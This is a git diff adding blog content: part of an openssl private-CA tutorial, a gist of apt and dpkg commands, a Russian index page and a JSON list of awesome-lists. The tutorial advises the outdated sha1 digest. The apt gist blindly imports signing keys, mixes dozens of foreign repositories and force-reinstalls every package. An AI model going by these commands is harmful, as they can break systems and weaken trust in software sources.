22:46:43 2014 GMT + Subject: C=PT, ST=Lisboa, L=Lisboa, O=Example Org, CN=*.example.org + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:ad:d8:71:1f:ab:a7:df:a6:c3:7e:d8:1f:fd:81: + b0:5a:a8:9d:51:2b:15:c2:98:95:9e:fe:3b:7c:bd: + Exponent: 65537 (0x10001) + Signature Algorithm: sha1WithRSAEncryption + 05:21:5c:0f:4c:3c:9a:76:7f:3f:fb:fa:e0:09:03:05:c5:16: + bf:4b:ac:60:d8:86:fc:b2:42:3e:5e:19:45:2a:e2:01:83:67: + +``` + +Notice the serial number, in hex is exactly the contents of the created +`ca.srl` file. + +I then setup an https server using the certificate and the key on port 1443 +using [bud][]. Bud is a TLS terminator, i.e. it unwraps https incoming +connections and proxies them into a backend server as simple http. I forwarded +bud connections into a static http server with a very simple `index.html`. + +I also added the line `127.0.0.1 www.example.org` to my `/etc/hosts` to make my +machine resolve the domain into the loopback address. + +I then pointed my browser to `https://www.example.org:1443/`. The browser +immediately complained that certificate was invalid because it did not include +the signing chain. What this means is the certificate says that the entity +`C=PT, ST=Lisboa, L=Lisboa, O=Example Org, CN=*.example.org` is certified by +the entity `C=PT, ST=Lisboa, L=Lisboa, O=Sz CA, OU=SZ CA` but there is no +information as to who certifies this second entity, and since the entity is not +known by the browser the certificate is deemed invalid. + +One thing we can do is create another file that contains the example.org +certificate and the ca certificate. + +``` +$ cat example.org.crt ca.crt > example.org.bundle.crt +``` + +I did this and then my browser, Firefox, still rejected the certificate, but +now with a different message. Now it complained that the SZ CA was not a +trusted entity. + +So I opened my browser settings, and added the ca certificate to the +Authorities section in the certificate store. And now it works! + +![](https://i.cloudup.com/OhL6UKbvkM.png) + +Well... The browser doesn't give any warning. But it doesn't show the green +icon you're probably already used to seing + +![](https://i.cloudup.com/tpp1u2bPAr.png) + +This is because of [extended validation][], an extension we did not include in +the certificate that usually requires the CA to verify the legal identification +of the subject. Just to check it, we can ask the browser to export the +certificate into a file we can query with openssl: + +``` +$ openssl x509 -in github.com.crt -noout -text +Certificate: + Data: + Version: 3 (0x2) + Serial Number: + 04:7f:be:2e:4b:de:00:84:d2:ca:f8:e3:ec:fe:70:58 + Signature Algorithm: sha1WithRSAEncryption + Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance EV CA-1 + Validity + Not Before: Jun 10 00:00:00 2013 GMT + Not After : Sep 2 12:00:00 2015 GMT + Subject: businessCategory=Private Organization/1.3.6.1.4.1.311.60.2.1.3=US/1.3.6.1.4.1.311.60.2.1.2=Delaware/serialNumber=5157550/street=548 4th Street/postalCode=94107, C=US, ST=California, L=San Francisco, O=GitHub, Inc., CN=github.com + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:ed:d3:89:c3:5d:70:72:09:f3:33:4f:1a:72:74: + d9:b6:5a:95:50:bb:68:61:9f:f7:fb:1f:19:e1:da: + ... + Exponent: 65537 (0x10001) + X509v3 extensions: + X509v3 Authority Key Identifier: + keyid:4C:58:CB:25:F0:41:4F:52:F4:28:C8:81:43:9B:A6:A8:A0:E6:92:E5 + + X509v3 Subject Key Identifier: + 87:D1:8F:19:6E:E4:87:6F:53:8C:77:91:07:50:DF:A3:BF:55:47:20 + X509v3 Subject Alternative Name: + DNS:github.com, DNS:www.github.com + X509v3 Key Usage: critical + Digital Signature, Key Encipherment + X509v3 Extended Key Usage: + TLS Web Server Authentication, TLS Web Client Authentication + X509v3 CRL Distribution Points: + + Full Name: + URI:http://crl3.digicert.com/evca1-g2.crl + + Full Name: + URI:http://crl4.digicert.com/evca1-g2.crl + + X509v3 Certificate Policies: + Policy: 2.16.840.1.114412.2.1 + CPS: http://www.digicert.com/ssl-cps-repository.htm + User Notice: + Explicit Text: + + Authority Information Access: + OCSP - URI:http://ocsp.digicert.com + CA Issuers - URI:http://cacerts.digicert.com/DigiCertHighAssuranceEVCA-1.crt + + X509v3 Basic Constraints: critical + CA:FALSE + Signature Algorithm: sha1WithRSAEncryption + 5f:15:6d:67:c3:3a:d5:a3:de:16:9c:45:33:26:d5:3d:c9:16: + 74:34:ca:87:48:1b:14:90:6d:f5:ab:47:86:b9:f5:b8:e3:01: + ... +``` + +The relevant extension for Extended Validation (EV) is `Certificate Policies`. + +Certificate sellers will refuse to issue wildcard certificates with EV, because +cabforum.org, the regulatory body governing the issuance of EV SSL Certificates +decided this is a big no no. EV certificates can, however, have as much +SubjectAltName as you wish. + +#### `openssl ca` + +You can also sign CSRs with the `ca(1)`. + +First we need a configuration file `ca.conf`: + +``` +# we use 'ca' as the default section because we're usign the ca command +# we use 'ca' as the default section because we're usign the ca command +[ ca ] +default_ca = my_ca + +[ my_ca ] +# a text file containing the next serial number to use in hex. Mandatory. +# This file must be present and contain a valid serial number. +serial = ./serial + +# the text database file to use. Mandatory. This file must be present though +# initially it will be empty. +database = ./index.txt + +# specifies the directory where new certificates will be placed. Mandatory. +new_certs_dir = ./newcerts + +# the file containing the CA certificate. Mandatory +certificate = ./ca.crt + +# the file contaning the CA private key. Mandatory +private_key = ./ca.key + +# the message digest algorithm. Remember to not use MD5 +default_md = sha1 + +# for how many days will the signed certificate be valid +default_days = 365 + +# a section with a set of variables corresponding to DN fields +policy = my_policy + +[ my_policy ] +# if the value is "match" then the field value must match the same field in the +# CA certificate. If the value is "supplied" then it must be present. +# Optional means it may be present. Any fields not mentioned are silently +# deleted. +countryName = match +stateOrProvinceName = supplied +organizationName = supplied +commonName = supplied +organizationalUnitName = optional +commonName = supplied + +[ ca ] +default_ca = my_ca + +[ my_ca ] +# a text file containing the next serial number to use in hex. Mandatory. +# This file must be present and contain a valid serial number. +serial = ./serial + +# the text database file to use. Mandatory. This file must be present though +# initially it will be empty. +database = ./index.txt + +# specifies the directory where new certificates will be placed. Mandatory. +new_certs_dir = ./newcerts + +# the file containing the CA certificate. Mandatory +certificate = ./ca.crt + +# the file contaning the CA private key. Mandatory +private_key = ./ca.key + +# the message digest algorithm. Remember to not use MD5 +default_md = sha1 + +# for how many days will the signed certificate be valid +default_days = 365 + +# a section with a set of variables corresponding to DN fields +policy = my_policy + +[ my_policy ] +# if the value is "match" then the field value must match the same field in the +# CA certificate. If the value is "supplied" then it must be present. +# Optional means it may be present. Any fields not mentioned are silently +# deleted. +countryName = match +stateOrProvinceName = supplied +organizationName = supplied +commonName = supplied +organizationalUnitName = optional +commonName = supplied + +``` + +Remember, you can use `man ca` not only to see details about flags and command +usage but also about the respective configuration sections and settings. + +We need to setup some structure first. The configuration file expects a +`newcerts` directory, and the `index.txt` and `serial` files: + +``` +$ mkdir newcerts +$ touch index.txt +$ echo '01' > serial +``` + +And now we can finally sign the certificate: + +``` +$ openssl ca -config ca.cnf -out example.org.crt -infiles example.org.csr +Using configuration from ca.cnf +Check that the request matches the signature +Signature ok +The Subject's Distinguished Name is as follows +countryName :PRINTABLE:'PT' +stateOrProvinceName :ASN.1 12:'Lisboa' +localityName :ASN.1 12:'Lisboa' +organizationName :ASN.1 12:'Example Org' +commonName :ASN.1 12:'*.example.org' +Certificate is to be certified until Mar 21 01:13:36 2015 GMT (365 days) +Sign the certificate? [y/n]:y + + +1 out of 1 certificate requests certified, commit? [y/n]y +Write out database with 1 new entries +Data Base Updated +``` + +If we wish to add extensions, or even to keep the extensions sent in a CSR +(openssl will remove them when signing), then we need to also include that +configuration. + +This is an extra configuration file `oats.extensions.cnf`: + +``` +basicConstraints=CA:FALSE +subjectAltName=@my_subject_alt_names +subjectKeyIdentifier = hash + +[ my_subject_alt_names ] +DNS.1 = *.oats.org +DNS.2 = *.oats.net +DNS.3 = *.oats.in +DNS.4 = oats.org +DNS.5 = oats.net +DNS.6 = oats.in +``` + +And now: + +``` +$ openssl ca -config ca.cnf -out oats.crt -extfile oats.extensions.cnf -in oats.csr +Using configuration from ca.cnf +Check that the request matches the signature +Signature ok +The Subject's Distinguished Name is as follows +countryName :PRINTABLE:'PT' +stateOrProvinceName :PRINTABLE:'Lisboa' +localityName :PRINTABLE:'Lisboa' +organizationName :PRINTABLE:'Oats In The Water' +commonName :T61STRING:'*.oats.org' +Certificate is to be certified until Mar 21 01:43:11 2015 GMT (365 days) +Sign the certificate? [y/n]:y + + +1 out of 1 certificate requests certified, commit? [y/n]y +Write out database with 1 new entries +Data Base Updated +``` + +We have a certificate that includes the SubjectAltNames we wanted: + +``` +$ openssl x509 -in oats.crt -noout -text + +Certificate: + Data: + Version: 3 (0x2) + Serial Number: 2 (0x2) + Signature Algorithm: sha1WithRSAEncryption + Issuer: C=PT, ST=Lisboa, L=Lisboa, O=Sz CA, OU=SZ CA + Validity + Not Before: Mar 21 01:43:11 2014 GMT + Not After : Mar 21 01:43:11 2015 GMT + Subject: C=PT, ST=Lisboa, O=Oats In The Water, CN=*.oats.org + Subject Public Key Info: + Public Key Algorithm: rsaEncryption + Public-Key: (2048 bit) + Modulus: + 00:a2:58:fc:57:32:4d:40:aa:62:92:65:86:1d:6b: + 4f:3e:11:a6:b5:36:f2:48:d2:23:2a:8f:bb:a0:a4: + ... + Exponent: 65537 (0x10001) + X509v3 extensions: + X509v3 Basic Constraints: + CA:FALSE + X509v3 Subject Alternative Name: + DNS:*.oats.org, DNS:*.oats.net, DNS:*.oats.in, DNS:oats.org, DNS:oats.net, DNS:oats.in + X509v3 Subject Key Identifier: + C6:0E:59:B3:1A:FF:1A:A2:FF:F3:DC:76:21:F0:92:FC:57:88:05:6D + Signature Algorithm: sha1WithRSAEncryption + 89:7e:7d:67:1e:98:85:78:a1:f2:81:4c:b4:8c:f9:80:cd:47: + a9:94:94:a3:f0:dd:36:d3:e3:48:93:77:4a:31:16:03:79:9c: + ... +``` + +We can verify the certificate is correct: + +``` +$ openssl verify -CAfile ca.crt oats.crt +oats.crt: OK +``` + +# That is all + +I know there a whole lot of stuff I didn't cover, important things like CRL. +I'm sorry for that. This whole deal looks really messy and I hope we can ditch +it for something better in the future. + +[RFC1422]: https://tools.ietf.org/html/rfc1422 +[RFC1779]: https://tools.ietf.org/html/rfc1779 +[RFC2459]: https://tools.ietf.org/html/rfc2459 +[RFC5280]: https://tools.ietf.org/html/rfc5280 +[wot]: https://en.wikipedia.org/wiki/Web_of_trust +[md5harmful]: http://www.win.tue.nl/hashclash/rogue-ca/ +[bud]: https://github.com/indutny/bud +[extended validation]: https://en.wikipedia.org/wiki/Extended_Validation_Certificate + + +``` + + diff --git a/content/gists/fad6557156c4c49ffb529b2aa4d0b278.md b/content/gists/fad6557156c4c49ffb529b2aa4d0b278.md new file mode 100644 index 000000000..52cda6b0f --- /dev/null +++ b/content/gists/fad6557156c4c49ffb529b2aa4d0b278.md @@ -0,0 +1,130 @@ +--- +title: "debs" +type: gist +gist_id: "fad6557156c4c49ffb529b2aa4d0b278" +gist_name: "debs gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/fad6557156c4c49ffb529b2aa4d0b278 +updated_at: "2023-07-25T05:35:05Z" +files: ["gistfile1.txt"] +--- +_debs_ + +## gistfile1.txt + +```Text +apt-cache policy|grep origin|sort -u|while read i; do echo "Package: *";echo "Pin: $i";echo "Pin-Priority: 500";echo; done | tee /etc/apt/preferences.d/001-site-default.pref + dpkg-reconfigure --force --priority low --frontend dialog `dpkg-query -Wf '${Package}\n'|sort -u` +dpkg-reconfigure --force --priority critical --frontend dialog `dpkg-query -Wf '${Package}\n'|sort -u` + apt reinstall $(dpkg-query -Wf '${Package;-40}${Essential}\n' | grep yes|awk '{print $1}') +dpkg --configure -a --force-all; +apt --install-suggests --install-recommends --reinstall -f --solver aspcud -t experimental -y --allow-downgrades install `dpkg-query -f '${binary:Package} ' -W` + +dpkg-reconfigure -fnoninteractive -plow --force `dpkg-query -f ${binary:Package} -W` + + +wpa_supplicant -iwlp9s0 -c/etc/wpa_supplicant.conf -B +netsurf-fb -b 32 -h 768 -w 1365 google.com + +for k in `for i in dpkg ucf;do for j in new dist;do echo $i-$j;done;done`;do find /etc -name "*.$k" -exec sh -c "echo -n 'mv -fv {} ';echo '{}'|sed s/\.$k$//" \; ;done + +dpkg --configure -a --force-all;apt --install-suggests --install-recommends --reinstall -f --solver aspcud -t experimental -y --allow-downgrades install `dpkg-query -f '${binary:Package} ' -W` + +dpkg-reconfigure --force --priority critical --frontend nonineractive `dpkg-query -Wf '${Package}\n'|sort|uniq` + +apt-add-repository -L|while read i;do echo apt-add-repository -yn "'$i'";done|bash + +sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com `sudo apt-get update 2>&1 | grep -o '[0-9A-Z]\{16\}$' | xargs` + + + + +apt-add-repository -yn 'deb http://mirrors.nxthost.com/ubuntu/ groovy restricted multiverse universe main' +apt-add-repository -yn 'deb http://mirrors.nxthost.com/ubuntu/ groovy-backports universe restricted multiverse main' +apt-add-repository -yn 'deb http://mirrors.nxthost.com/ubuntu/ groovy-updates universe multiverse restricted main' +apt-add-repository -yn 'deb http://security.ubuntu.com/ubuntu/ groovy-security universe restricted multiverse main' +apt-add-repository -yn 'deb http://archive.canonical.com/ubuntu/ groovy partner' +apt-add-repository -yn 'deb http://mirrors.nxthost.com/ubuntu/ groovy-proposed universe restricted multiverse main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/atareao/telegram/ubuntu groovy main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/gnome3-team/gnome3-staging/ubuntu groovy main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/tista/adapta/ubuntu groovy main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/wine/wine-builds/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.canonical.com/ubuntu groovy partner' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.ubuntu.com/ubuntu groovy restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://security.ubuntu.com/ubuntu/ groovy-security restricted multiverse universe main' +apt-add-repository -yn 'deb https://deb.opera.com/opera-stable/ stable non-free #Opera Browser (final releases)' +apt-add-repository -yn 'deb [arch=amd64] https://repo.skype.com/deb stable main' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main #Google-Chrome' +apt-add-repository -yn 'deb http://neurodebian.g-node.org data non-free contrib main' +apt-add-repository -yn 'deb http://neurodebian.g-node.org sid non-free contrib main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/jcfp/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb http://mkvtoolnix.download/debian/jessie/ ./' +apt-add-repository -yn 'deb http://ppa.launchpad.net/libreoffice/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb http://mozilla.debian.net/ experimental firefox-aurora' +apt-add-repository -yn 'deb http://ppa.launchpad.net/kubuntu-ppa/beta/ubuntu groovy main' +apt-add-repository -yn 'deb https://download.sublimetext.com/ apt/dev/' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/earth/deb/ stable main #Google-Earth' +apt-add-repository -yn 'deb [arch=amd64] http://repository.spotify.com stable non-free #Spotify' +apt-add-repository -yn 'deb http://apt.insync.io/ubuntu focal non-free contrib' +apt-add-repository -yn 'deb [arch=amd64] http://packages.cloud.google.com/apt cloud-sdk main #Google-Cloud-SDK' +apt-add-repository -yn 'deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main #Visual-Studio-Code' +apt-add-repository -yn 'deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main #Signal-for-Desktop' +apt-add-repository -yn 'deb [arch=amd64] https://desktop-download.mendeley.com/download/apt stable main #Mendeley-Desktop' +apt-add-repository -yn 'deb https://dl.winehq.org/wine-builds/ubuntu/ focal main #WineHQ' +apt-add-repository -yn 'deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable #Docker-Community-Edition' +apt-add-repository -yn 'deb http://archive.canonical.com/ubuntu focal partner # Canonical Partner Repository' +apt-add-repository -yn 'deb http://ppa.launchpad.net/teejee2008/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb http://packages.cloud.google.com/apt gcsfuse-focal main #GCSFUSE' +apt-add-repository -yn 'deb http://prerelease.keybase.io/deb stable main' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/webdesigner/deb/ stable main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.ubuntu.com/ubuntu groovy-backports universe multiverse restricted main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.ubuntu.com/ubuntu groovy-proposed restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.ubuntu.com/ubuntu groovy-security restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://archive.ubuntu.com/ubuntu groovy-updates restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] http://repo.steampowered.com/steam/ precise steam' +apt-add-repository -yn 'deb [arch=i386,amd64] http://archive.tanglu.org/tanglu chromodoris non-free contrib main' +apt-add-repository -yn 'deb [arch=i386,amd64] http://archive.tanglu.org/tanglu chromodoris-updates non-free contrib main' +apt-add-repository -yn 'deb [arch=i386,amd64] http://packages.siduction.org/base unstable main' +apt-add-repository -yn 'deb [arch=i386,amd64] http://packages.siduction.org/extra unstable non-free contrib main' +apt-add-repository -yn 'deb [arch=i386,amd64] http://packages.siduction.org/fixes unstable non-free contrib main' +apt-add-repository -yn 'deb [arch=i386,amd64] http://packages.siduction.org/user unstable non-free contrib main' +apt-add-repository -yn 'deb ftp://ftp.gajim.org/debian unstable main' +apt-add-repository -yn 'deb http://archive.getdeb.net/ubuntu yakkety-getdeb apps games' +apt-add-repository -yn 'deb http://cloudflare.archive.parrotsec.org/parrot parrot non-free contrib main' +apt-add-repository -yn 'deb http://downloads.sourceforge.net/.../ubuntuzilla/mozilla/apt all main' +apt-add-repository -yn 'deb http://http.kali.org/kali kali-rolling non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] http://http.kali.org/kali kali-rolling non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian experimental non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian jessie-backports non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian jessie non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian jessie-proposed-updates non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian jessie-updates non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian sid non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian stretch non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian stretch-proposed-updates non-free contrib main' +apt-add-repository -yn 'deb http://httpredir.debian.org/debian stretch-updates non-free contrib main' +apt-add-repository -yn 'deb http://mirror.xcer.cz/trinity-sb sid deps-r14 main-r14' +apt-add-repository -yn 'deb http://repo.vivaldi.com/stable/deb/ stable main' +apt-add-repository -yn 'deb http://rwth-aachen-euro.archive.parrotsec.org/parrotsec/ parrot non-free contrib main' +apt-add-repository -yn 'deb http://rwth-aachen-euro.archive.parrotsec.org/parrotsec/ testing non-free contrib main' +apt-add-repository -yn 'deb https://deb.opera.com/opera-developer/ stable non-free #Opera Browser (final releases)' +apt-add-repository -yn 'deb http://security.debian.org/ jessie/updates non-free contrib main' +apt-add-repository -yn 'deb http://security.debian.org/ stretch/updates non-free contrib main' +apt-add-repository -yn 'deb http://sparkylinux.org/repo testing main' +apt-add-repository -yn 'deb http://sparkylinux.org/repo/ unstable main' +apt-add-repository -yn 'deb http://www.deb-multimedia.org sid non-free main' +apt-add-repository -yn 'deb http://deb.debian.org/debian sid non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ bullseye non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ bullseye-updates non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ sid non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] https://mirrors.dotsrc.org/parrot/ rolling non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64] https://mirrors.dotsrc.org/parrot/ rolling-security non-free contrib main' +apt-add-repository -yn 'deb [arch=amd64,i386] mirror://mirrors.ubuntu.com/mirrors.txt groovy-backports restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] mirror://mirrors.ubuntu.com/mirrors.txt groovy restricted multiverse universe main' +apt-add-repository -yn 'deb [arch=amd64,i386] mirror://mirrors.ubuntu.com/mirrors.txt groovy-proposed universe restricted multiverse main' +apt-add-repository -yn 'deb [arch=amd64,i386] mirror://mirrors.ubuntu.com/mirrors.txt groovy-security universe multiverse main restricted' +apt-add-repository -yn 'deb [arch=amd64,i386] mirror://mirrors.ubuntu.com/mirrors.txt groovy-updates restricted multiverse universe main' + +``` + + diff --git a/content/knowledge-graph/_index.md b/content/knowledge-graph/_index.md new file mode 100644 index 000000000..b4d5dd278 --- /dev/null +++ b/content/knowledge-graph/_index.md @@ -0,0 +1,22 @@ +--- +title: Knowledge Graph +date: '2025-12-29T20:01:00.000Z' +slug: knowledge-graph +image: /assets/images/og-default.png +alt: "Knowledge Graph" +--- + +Интерактивная карта взаимосвязей между постами, концепциями, людьми и проектами. +Визуализирует семантические связи по тегам, категориям и датам. + +## Как работает + +Данный раздел генерируется из реестра тегов и категорий. Каждый узел — это пост, +каждое ребро — общий тег или категория. Сила связи определяется количеством +совместно использованных ключевых слов. + +## Статистика + +- **{{ len .Site.Pages }}** страниц в блоге +- **{{ len .Site.Tags }}** уникальных тегов +- **{{ len .Site.Categories }}** уникальных категорий diff --git a/data/awesome.json b/data/awesome.json index d4120da37..f263e69fe 100644 --- a/data/awesome.json +++ b/data/awesome.json @@ -1,32 +1,39 @@ { + "generatedAt": "2026-09-05T00:51:36.573Z", "groups": [ { - "slug": "devops", - "name": "DevOps & Инфраструктура", + "slug": "development", + "name": "Разработка", + "order": 1, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ { - "slug": "awesome-kubernetes", - "name": "awesome-kubernetes", - "group": "devops", - "path": "awesome/devops/awesome-kubernetes", - "url": "https://github.com/ramitsurana/awesome-kubernetes", - "readme": "docs/README.md", - "gh": "https://github.com/ramitsurana/awesome-kubernetes" + "slug": "awesome-nodejs", + "name": "awesome-nodejs", + "group": "development", + "path": "awesome/development/awesome-nodejs", + "url": "https://github.com/sindresorhus/awesome-nodejs", + "readme": "readme.md", + "gh": "https://github.com/sindresorhus/awesome-nodejs", + "refreshedAt": "2026-09-05T00:51:36.573Z" }, { - "slug": "awesome-nix", - "name": "awesome-nix", - "group": "devops", - "path": "awesome/devops/awesome-nix", - "url": "https://github.com/nix-community/awesome-nix", + "slug": "awesome-python", + "name": "awesome-python", + "group": "development", + "path": "awesome/development/awesome-python", + "url": "https://github.com/vinta/awesome-python", "readme": "README.md", - "gh": "https://github.com/nix-community/awesome-nix" + "gh": "https://github.com/vinta/awesome-python", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] }, { "slug": "web", "name": "Web & Frontend", + "order": 2, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ { "slug": "frontend-dev-bookmarks", @@ -35,13 +42,44 @@ "path": "awesome/web/frontend-dev-bookmarks", "url": "https://github.com/dypsilon/frontend-dev-bookmarks", "readme": "README.md", - "gh": "https://github.com/dypsilon/frontend-dev-bookmarks" + "gh": "https://github.com/dypsilon/frontend-dev-bookmarks", + "refreshedAt": "2026-09-05T00:51:36.573Z" + } + ] + }, + { + "slug": "devops", + "name": "DevOps & Инфраструктура", + "order": 3, + "refreshedAt": "2026-09-05T00:51:36.573Z", + "repos": [ + { + "slug": "awesome-kubernetes", + "name": "awesome-kubernetes", + "group": "devops", + "path": "awesome/devops/awesome-kubernetes", + "url": "https://github.com/ramitsurana/awesome-kubernetes", + "readme": "docs/README.md", + "gh": "https://github.com/ramitsurana/awesome-kubernetes", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-nix", + "name": "awesome-nix", + "group": "devops", + "path": "awesome/devops/awesome-nix", + "url": "https://github.com/nix-community/awesome-nix", + "readme": "README.md", + "gh": "https://github.com/nix-community/awesome-nix", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] }, { "slug": "security", "name": "Безопасность", + "order": 4, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ { "slug": "awesome-security", @@ -50,13 +88,34 @@ "path": "awesome/security/awesome-security", "url": "https://github.com/sbilly/awesome-security", "readme": "README.md", - "gh": "https://github.com/sbilly/awesome-security" + "gh": "https://github.com/sbilly/awesome-security", + "refreshedAt": "2026-09-05T00:51:36.573Z" + } + ] + }, + { + "slug": "data", + "name": "Данные & ML", + "order": 5, + "refreshedAt": "2026-09-05T00:51:36.573Z", + "repos": [ + { + "slug": "awesome-machine-learning", + "name": "awesome-machine-learning", + "group": "data", + "path": "awesome/data/awesome-machine-learning", + "url": "https://github.com/josephmisiti/awesome-machine-learning", + "readme": "README.md", + "gh": "https://github.com/josephmisiti/awesome-machine-learning", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] }, { "slug": "blockchain", "name": "Блокчейн & DAO", + "order": 6, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ { "slug": "awesome-blockchain", @@ -65,29 +124,205 @@ "path": "awesome/blockchain/awesome-blockchain", "url": "https://github.com/yjjnls/awesome-blockchain", "readme": "README.md", - "gh": "https://github.com/yjjnls/awesome-blockchain" + "gh": "https://github.com/yjjnls/awesome-blockchain", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] }, { - "slug": "data", - "name": "Данные & ML", + "slug": "systems", + "name": "Системы & Языки", + "order": 7, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ { - "slug": "awesome-machine-learning", - "name": "awesome-machine-learning", - "group": "data", - "path": "awesome/data/awesome-machine-learning", - "url": "https://github.com/josephmisiti/awesome-machine-learning", + "slug": "papers-we-love", + "name": "papers-we-love", + "group": "systems", + "path": "awesome/systems/papers-we-love", + "url": "https://github.com/papers-we-love/papers-we-love", "readme": "README.md", - "gh": "https://github.com/josephmisiti/awesome-machine-learning" + "gh": "https://github.com/papers-we-love/papers-we-love", + "refreshedAt": "2026-09-05T00:51:36.573Z" } ] }, { "slug": "tools", "name": "Инструменты & Прочее", + "order": 8, + "refreshedAt": "2026-09-05T00:51:36.573Z", "repos": [ + { + "slug": "500-ai-machine-learning-deep-learning-computer-vision-nlp-projects-with-code", + "name": "500-ai-machine-learning-deep-learning-computer-vision-nlp-projects-with-code", + "group": "tools", + "path": "awesome/tools/500-ai-machine-learning-deep-learning-computer-vision-nlp-projects-with-code", + "url": "https://github.com/ashishpatel26/500-AI-Machine-learning-Deep-learning-Computer-vision-NLP-Projects-with-code", + "readme": "README.md", + "gh": "https://github.com/ashishpatel26/500-AI-Machine-learning-Deep-learning-Computer-vision-NLP-Projects-with-code", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-agent-skills", + "name": "awesome-agent-skills", + "group": "tools", + "path": "awesome/tools/awesome-agent-skills", + "url": "https://github.com/VoltAgent/awesome-agent-skills", + "readme": "README.md", + "gh": "https://github.com/VoltAgent/awesome-agent-skills", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-android-ui", + "name": "awesome-android-ui", + "group": "tools", + "path": "awesome/tools/awesome-android-ui", + "url": "https://github.com/wasabeef/awesome-android-ui", + "readme": "README.md", + "gh": "https://github.com/wasabeef/awesome-android-ui", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-claude-code", + "name": "awesome-claude-code", + "group": "tools", + "path": "awesome/tools/awesome-claude-code", + "url": "https://github.com/hesreallyhim/awesome-claude-code", + "readme": "README.md", + "gh": "https://github.com/hesreallyhim/awesome-claude-code", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-compose", + "name": "awesome-compose", + "group": "tools", + "path": "awesome/tools/awesome-compose", + "url": "https://github.com/docker/awesome-compose", + "readme": "README.md", + "gh": "https://github.com/docker/awesome-compose", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-copilot", + "name": "awesome-copilot", + "group": "tools", + "path": "awesome/tools/awesome-copilot", + "url": "https://github.com/github/awesome-copilot", + "readme": "README.md", + "gh": "https://github.com/github/awesome-copilot", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-courses", + "name": "awesome-courses", + "group": "tools", + "path": "awesome/tools/awesome-courses", + "url": "https://github.com/prakhar1989/awesome-courses", + "readme": "README.md", + "gh": "https://github.com/prakhar1989/awesome-courses", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-cpp", + "name": "awesome-cpp", + "group": "tools", + "path": "awesome/tools/awesome-cpp", + "url": "https://github.com/fffaraz/awesome-cpp", + "readme": "README.md", + "gh": "https://github.com/fffaraz/awesome-cpp", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-cto", + "name": "awesome-cto", + "group": "tools", + "path": "awesome/tools/awesome-cto", + "url": "https://github.com/kuchin/awesome-cto", + "readme": "README.md", + "gh": "https://github.com/kuchin/awesome-cto", + "refreshedAt": "2026-09-05T00:51:36.573Z" + }, + { + "slug": "awesome-cursorrules", + "name": "awesome-cursorrules", + "group": "tools", + "path": "awesome/tools/awesome-cursorrules", + "url": "https://github.com/PatrickJS/awesome-cursorrules", + "readme": "README.md", + 